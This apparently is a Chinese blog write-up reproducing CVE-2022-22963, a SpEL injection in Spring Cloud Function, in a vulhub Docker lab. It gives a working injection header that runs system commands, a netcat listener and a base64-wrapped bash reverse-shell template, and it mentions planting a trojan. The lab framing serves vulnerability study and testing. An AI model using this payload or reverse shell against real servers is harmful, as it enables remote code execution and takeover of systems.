影响范围:

  • Spring Cloud Function 3.0.0 - 3.1.6

  • Spring Cloud Function 3.2.0 - 3.2.2

漏洞类型:

SpEL表达式注入

操作系统限制:

配置要求:

默认配置

漏洞利用:

命令执行,进行反弹shell,写入木马

利用原理:

Spring Cloud Function引入RoutingFunction功能,允许开发者根据特定条件动态将请求分发给不同函数执行,框架允许通过HTTP Header来指定路由逻辑。当请求到达时,RoutingFunction会检查是否存在特定HTTP请求头:spring.cloud.function.routing-expression,如果存在该Header,框架会将其值作为SpEL表达式处理,攻击者可以构造恶意payload注入到spring.cloud.function.routing-expression属性值,服务器处理POST请求时候,识别到恶意payload就会触发解析,执行恶意命令。POST请求主体不能为空,若为空,Spring的MessageConverter可能不会触发后续参数绑定和路由解析流程

漏洞复现:

现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2022-22963
#拉取镜像
docker-compose up -d

用burpsuite抓取http://公网:8080/uppercase数据包

发送到Repeater模块

修改请求类型为POST,路径改为/functionRouter,将内容类型改为Content-Type: text/plain,并在内容类型上一行注入恶意代码,创建/tmp/success,还要在请求主体写入数据,这里填test

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

返回500

进入容器查看文件夹tmp,发现success文件,说明成功执行敏感命令

下面尝试进行反弹shell,开启监听,nc -lvvp 7777

将下面命令替换到原payload的touch /tmp/success

bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

连接成功,虽然不稳定

文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Spring
喜欢就支持一下吧